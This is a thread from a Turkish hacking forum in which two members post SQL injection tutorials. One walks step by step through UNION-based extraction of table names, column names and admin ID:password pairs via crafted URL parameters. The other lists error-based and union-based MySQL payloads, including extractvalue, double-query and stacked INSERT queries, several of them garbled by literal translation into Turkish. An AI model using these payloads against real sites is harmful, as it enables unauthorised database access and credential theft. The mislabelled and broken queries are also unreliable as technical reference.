BLİND SQL İNJECTİON #M3TA - #RAİ | Siber Güvenlik Ekibi

META

Kıdemli Üye
15 Mar 2017
2,757
2,104
root@M3TA~#
SQL Blind İnjection Nedir?

Sql blind injection deneme-yanılma yöntemi ile sitenin değişime verdiği tepkileri göz önüne alarak
veritabanı bilgilerini görüntülememize olanak sağlar.

SQL injection ile arasındaki farkı ele alırsak SQL injectionda 1=1 2=2 gibi kesin doğru ifadelere
sorguya sızma tarzı kullanılıyordu SQL blind injectionda ise 1=0 1=2 4=4 gibi eşitlik olmayan
ifadeler verildiğinde sitenin verdiği hata ya da sayfadaki değişmelere göre saldırıya devam edilir.

örnek; url
Kod:
www.thtm3ta.com/index.php?=12'and 1=2

Bu url sql tarafında 1=2 şeklinde bir eşitlik false olduğundan hata verecek ya da sayfadaki değişimler
saldırgana ipucu verecek.

"Blind Sql Injection" Nasıl Uygulanır ?



Örnek;
Sorgu1: SELECT Username FROM users WHERE userid=1
Cevap : M3TA

Sorgu2: SELECT Username FROM users WHERE userid=121
Cevap :


Yukarıdaki örnekte görüldüğü gibi database de userid=1 de bir kullanıcı var userid=121 de kullanıcımız yok.
Yaptığımız "True" değerini yakalayabilmek. Sorgu1 de bunu sağlamış olduk.
Bundan sonra yapılması gereken görülen cevaba bakarak sorgu üzerinde oynamalar yapılması.


1.) Değerleri test edelim.

Kod:
www.thtm3ta.com/index.php?id=1+and+1=1
www.thtm3ta.com/index.php?id=1+and+1=0

Yukarıdaki işlemde ID değerinin Sonuna 1=1 , 1=0 yazdık bu sayede siteden 1=1 ise ve 1=0 ise ne olacağını
istedik. 1=1 yaptığımızda site kendi sayfasında yani normal olarak açılır ama 1=0 yaptığımızda başka bir
sayfa gösterir.


2.) Kolon sayılarını bulma.

Kolon sayıları bulunurken sayfa değişimleri kullanılır ".php?id=1+and+1=1+order+by+1" şeklinde kullanacağız.
sayıyı arttırıp hangi sayıda sayfa değişti ise kolon sayımız o çıkan rakamdır ben 6 olarak varsayıyorum.


Kod:
wwww.thtm3ta.com/index.php?id=1+and+1=1+order+by+1

3.)Sorgu oluşturma.

Burada 1=1 Eşitliğinin Yerine 1=0 Eşitsizliğini Kullanacağız.1=0' dan Sonra "union+select+0,1,2,3" Yazıyoruz.2 Numaralı Kullanacağımızı Varsayıyorum.

Kod:
www.thtm3tacom/index.php?id=1+and+1=0+union+select+0,1,2,3

4.)Tablodan veri çekimi
Tabloları Çekmek İçin 2 Numaralı Kolonu Kullanacağız.Normal Sql Injectionda Olduğu Gibi Devam Edelim.

Kod:
www.thtm3tacom/index.phpid=1+and+1=1+union+select+0,1,group_concat(table_name),3+from+information_schema.tables

5.) Veri çekme
Buradada Normal Sql Injection' da Olduğu Gibi Devam Ediyoruz.Ben Admin Tablosunun Çıktığını Varsayıyorum.

Kod:
www.thtm3tacom/index.php?id=1+and+1=1+union+select+0,1,group_concat(column_name),3+from+information_schema.columns+where+table_name='61646d696e

6.) Kolonlardan veri çekelim
Evet Admin Tablosundan ID ve Password Kolonları Çıktığını Varsayıyorum.ID ve Password Kolonlarının Değerlerini Öğrenelim.Veriler Karışmasın Diye Kolonlar Arasında "0x3a" Kodunu Ekliyoruz.

Kod:
www.thtm3tacom/index.php?id=1+and+1=1+union+select+0,1,concat(ID,0x3a,Password),3+from+admin
 
Son düzenleme:

Rainshy

Uzman üye
10 Tem 2013
1,896
3
Error-based | Union-Based - SQL İnjection | Siber Güvenlik Ekibi

Error-based SQL injection
Türkçe karşılığı hatalı SQL Tabanlı enjeksiyonlardır.
Error-based SQL İnjection nedir?
Hatalı SQL enjeksiyonlar, geçersiz girişler kendisine iletildiğinde veri tabanındaki hataları tetikleyerek kullanılır. Hata iletileri, tam sorgu sonuçlarını döndürmek ya da sorgunun daha fazla kullanılması için yeniden yapılandırılması hakkında bilgi edinmek için kullanılabilir.
Bir bakıma, SQL İnjection'a bağlı hatalı veri tabanın da bulunan hatalı iletileri bilgi edinme amaçlı kullanmamıza yarayan bir hatadır. Bu hatayı bir de nasıl kullanacağımıza göz atalım isterseniz.

XML Parse Error(XML Ayrıştırma Hatası);
Kod:
SELECT extractvalue(rand(),concat(0x3a,(SÜRÜM SEÇ())))

Double Query(Çift Sorgu);
Kod:
SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(KULLANICI SINIRINDAN KULLANICI KULLANICI ADINI SEÇİYORSUNUZ),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)



Mevcut olan veritabanını ise şu kod ile alabilirsiniz ona ise şöyle deriz. Get Current Database(Mevcut Veritabanı Alma);
Kod:
SELECT a( "ÖRNEK RAİ.SQL")

rainshy.png


Union-Based Injection
Bunun da Türkçe karşılığı Birliğe Dayalı veya Sendika da diyebiliriz SQL Tabanlı enjeksiyondur.
Union-Based Injection nedir?
Birliğe Dayalı olan SQL enjeksiyonu, saldırganın hususi sorgu tarafından taratılan sonuçları genişleterek veritabanından bilgi çıkarmasına izin verir. Union operatörü yalnızca hususi veya yeni sorgular aynı yapıya sahipse kullanılabilir. (sayılar ve veri türü sütunlar..)
Gelin birde bunlara göz atalım sizlerle..​

Union(Birlik);
Kod:
SELECT "mysql" UNİON SELECT(BİRLİK SEÇ) @@version

Union subquery(Birliğin alt sorgusu);
Kod:
SELECT "mysql" UNION (select @@version(VERSİYON SEÇ))

Union null(Birlik Testi diyebiliriz);
Not: Orijinal sorgu birden fazla sütun döndürüyorsa, sütun sayısına eşit olarak null ekleyin.
Kod:
SELECT "mysql","test" UNION SELECT(BİRLİĞİ SEÇ) @@version,null

Stacked Queries(Yığınlaşmış Sorgulama deriz);
Not: Yığılmış sorgular her zaman sonuç çevirmez, bu nedenle en iyi verileri güncelleyen, değiştiren enjeksiyonlar için kullanılır.
Kod:
SELECT "mysql"; INSERT INTO 'docs' ('content') VALUES (DEĞERLER) ((SELECT @@version))

Saygılarımla, Rai. `
 
Son düzenleme:

PourLa

Uzman üye
27 Mar 2016
1,659
30
Bana kalırsa sabite alınması gereken bir konu hattı bunun altına devamı getirilirse kalıcılığı sağlanır. Başarılarınızın devamı diliyorum güzel bir çalışma
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.